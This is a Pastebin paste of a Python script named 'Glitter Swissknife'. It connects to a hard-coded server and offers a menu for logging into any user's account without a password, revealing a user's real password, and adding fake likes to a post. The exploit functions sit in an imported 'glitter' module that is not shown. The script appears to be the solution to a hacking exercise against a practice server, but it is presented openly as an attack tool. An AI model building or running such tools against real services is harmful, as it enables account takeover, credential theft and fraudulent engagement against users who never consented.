Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import sys
- import socket
- import glitter
- SERVER_IP = "44.224.228.136"
- SERVER_PORT = 1336
- sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- sock.connect((SERVER_IP, SERVER_PORT))
- def main():
- print("Welcome to Glitter Swissknife")
- my_id, password, screen_name = login()
- while True:
- selected = select_menu()
- if selected == 0:
- stop()
- break
- elif selected == 1:
- username = input("Please enter username to login without using the password: ")
- my_id, password, screen_name = glitter.login_without_pass(sock, username, my_id)
- if my_id is None:
- print("[" + username + "] Wrong username.")
- stop()
- else:
- print("[" + username + "] Logged in!")
- elif selected == 2:
- username = input("Please enter username to get his real password: ")
- my_id, password, screen_name = glitter.login_without_pass(sock, username, my_id)
- if my_id is None:
- print("\"" + username + "\" Wrong username.")
- stop()
- else:
- print("-------\n"
- "Username: " + username + "\n"
- "Password: " + password +
- "\n-------")
- elif selected == 3:
- print("Your glits list:")
- glits_list = glitter.glits_list(sock, my_id)
- for num, glit in enumerate(glits_list):
- print(f"{num + 1}. \"{glit[3]}\" ({glit[2]}/{glit[1]}/{glit[0]})")
- glit_id = glits_list[int(input("Please choose glit number: ")) - 1][4]
- glitter.add_likes(sock, glit_id, my_id, screen_name,
- int(input("How much likes you want to add for the selected glit: ")))
- def login():
- while True:
- my_username = input("Please enter username: ")
- my_username_checksum = glitter.calc_checksum(my_username)
- my_password = input("Please enter password: ")
- my_password_checksum = glitter.calc_checksum(my_password)
- print("Logging in...")
- my_id, password, screen_name = glitter.login(sock, my_username, my_password, my_username_checksum + my_password_checksum)
- if my_id:
- print("Logged in!")
- return my_id, password, screen_name
- else:
- print("Wrong username/password\n"
- "Try again\n")
- def select_menu():
- print("MAIN MENU")
- print("0. Exit")
- print("1. Login to user without password")
- print("2. Get user's password")
- print("3. Make many likes to a glit")
- return int(input("Please choose: "))
- def stop():
- print("Goodbye")
- sock.close()
- sys.exit(0)
- if __name__ == '__main__':
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement